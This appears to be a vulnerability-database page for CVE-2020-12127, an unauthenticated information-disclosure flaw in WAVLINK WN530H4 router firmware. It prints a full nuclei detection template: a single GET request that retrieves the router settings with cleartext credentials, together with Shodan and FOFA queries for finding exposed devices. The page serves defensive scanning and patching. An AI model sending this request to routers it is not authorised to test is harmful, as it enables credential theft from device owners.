HexBrain

Browse / CVEs / CVE-2020-12127

CVE-2020-12127· wavlink / wn530h4 firmware· CWE-306

WAVLINK WN530H4 M30H4.V5030.190403 - Information Disclosure

highseverity
7.5CVSS score
7.4%likelihood of exploitation, next 30 days
95%of all CVEs are less likely
Readycheck to confirm it

WAVLINK WN530H4 M30H4.V5030.190403 contains an information disclosure vulnerability in the /cgi-bin/ExportAllSettings.sh endpoint. This can allow an attacker to leak router settings, including cleartext login details, DNS settings, and other sensitive information without authentication.

Impact

An attacker can exploit this vulnerability to gain access to sensitive information, such as router configuration settings and user credentials.

Fix

Apply the latest firmware update provided by the vendor to fix the information disclosure vulnerability.

How to confirm it

Send: GET {{BaseURL}}/cgi-bin/ExportAllSettings.sh
Positive when: contains "Login=" and "Password=" and "Model=" and "AuthMode=" AND status 200

Run it with nuclei: nuclei -id CVE-2020-12127 -u <target>

The full check
id: CVE-2020-12127

info:
  name: WAVLINK WN530H4 M30H4.V5030.190403 - Information Disclosure
  author: arafatansari
  severity: high
  description: |
    WAVLINK WN530H4 M30H4.V5030.190403 contains an information disclosure vulnerability in the /cgi-bin/ExportAllSettings.sh endpoint. This can allow an attacker to leak router settings, including cleartext login details, DNS settings, and other sensitive information without authentication.
  impact: |
    An attacker can exploit this vulnerability to gain access to sensitive information, such as router configuration settings and user credentials.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the information disclosure vulnerability.
  reference:
    - https://cerne.xyz/bugs/CVE-2020-12127
    - https://www.wavlink.com/en_us/product/WL-WN530H4.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-12127
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-12127
    cwe-id: CWE-306
    epss-score: 0.07401
    epss-percentile: 0.94482
    cpe: cpe:2.3:o:wavlink:wn530h4_firmware:m30h4.v5030.190403:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wavlink
    product: wn530h4_firmware
    shodan-query:
      - http.html:"Wavlink"
      - http.html:"wavlink"
    fofa-query: body="wavlink"
  tags: cve,cve2020,wavlink,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/ExportAllSettings.sh"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Login='
          - 'Password='
          - 'Model='
          - 'AuthMode='
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from